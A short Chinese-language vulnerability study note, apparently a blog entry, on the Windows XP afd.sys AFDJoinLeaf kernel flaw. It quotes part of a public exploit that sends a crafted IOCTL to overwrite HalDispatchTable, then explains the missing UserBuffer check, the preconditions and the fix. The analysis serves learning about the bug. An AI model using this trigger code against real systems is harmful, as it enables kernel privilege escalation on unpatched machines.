环境
windows Xp IDA 6.8
exp: https://www.exploit-db.com/exploits/18176/
可以看到是对AFDJoinLeaf函数的一个利用
## Trigger Pointer Overwrite
print "[*] Triggering AFDJoinLeaf pointer overwrite..."
IOCTL = 0x000120bb # AFDJoinLeaf
inputbuffer = 0x1004
inputbuffer_size = 0x108
outputbuffer_size = 0x0 # Bypass Probe for Write
outputbuffer = HalDispatchTable0x4 + 0x1 # HalDispatchTable+0x4+1
IoStatusBlock = c_ulong()
NTSTATUS = ntdll.ZwDeviceIoControlFile(client,
None,
None,
None,
byref(IoStatusBlock),
IOCTL,
inputbuffer,
inputbuffer_size,
outputbuffer,
outputbuffer_size
)
我看win7的afd.sys好像没有AFDJoinLeaf这个函数,后来用xp的了,注意的是IDA7.0看不大函数名,所以还是IDA6.8好了
function窗口搜索AFDJoinLeaf,跟过去
length不为0才会去检测UserBuffer,那么我们就可以有任意地址写入的漏洞了
利用的话还要下面限制
输入长度大于0x18
handle不为0
修复的话就直接检测UserBuffer的有效性,不管length是否设置为0
《漏洞战争》